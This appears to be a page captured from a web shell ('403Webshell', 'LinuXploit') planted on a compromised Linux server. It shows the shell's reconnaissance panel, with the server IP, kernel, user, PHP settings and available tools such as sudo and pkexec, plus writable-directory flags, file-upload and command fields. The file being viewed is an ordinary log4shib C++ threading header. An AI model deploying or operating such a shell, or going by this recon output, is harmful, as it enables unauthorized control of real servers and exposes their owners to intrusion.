403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/log4shib/threading/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/log4shib/threading/DummyThreads.hh
/*
 * DummyThreads.hh
 *
 * Copyright 2002, LifeLine Networks BV (www.lifeline.nl). All rights reserved.
 * Copyright 2002, Bastiaan Bakker. All rights reserved.
 *
 * See the COPYING file for the terms of usage and distribution.
 */

#ifndef _LOG4SHIB_THREADING_DUMMYTHREADS_HH
#define _LOG4SHIB_THREADING_DUMMYTHREADS_HH

#include <log4shib/Portability.hh>
#include <stdio.h>
#include <string>

namespace log4shib {
    namespace threading {
        std::string getThreadId();
        
        /**
           Dummy type 'int' for Mutex. Yes, this adds a bit of overhead in
           the for of extra memory, but unfortunately 'void' is illegal.
        **/
        typedef int Mutex;

        /**
           Dummy type 'int' defintion of ScopedLock;
        **/
        typedef int ScopedLock;

        template<typename T> class ThreadLocalDataHolder {
            public:
            typedef T data_type;

            inline ThreadLocalDataHolder() {};
            inline ~ThreadLocalDataHolder() {
                if (_data) 
                    delete _data;
            };
            
            inline T* get() const {
                return _data;
            };

            inline T* operator->() const { return get(); };
            inline T& operator*() const { return *get(); };

            inline T* release() {
                T* result = _data;
                _data = NULL;

                return result;
            };

            inline void reset(T* p = NULL) {
                if (_data) 
                    delete _data;
                _data = p;
            };

            private:            
            T* _data;            
        };
    }
}
#endif

Youez - 2016 - github.com/yon3zu
LinuXploit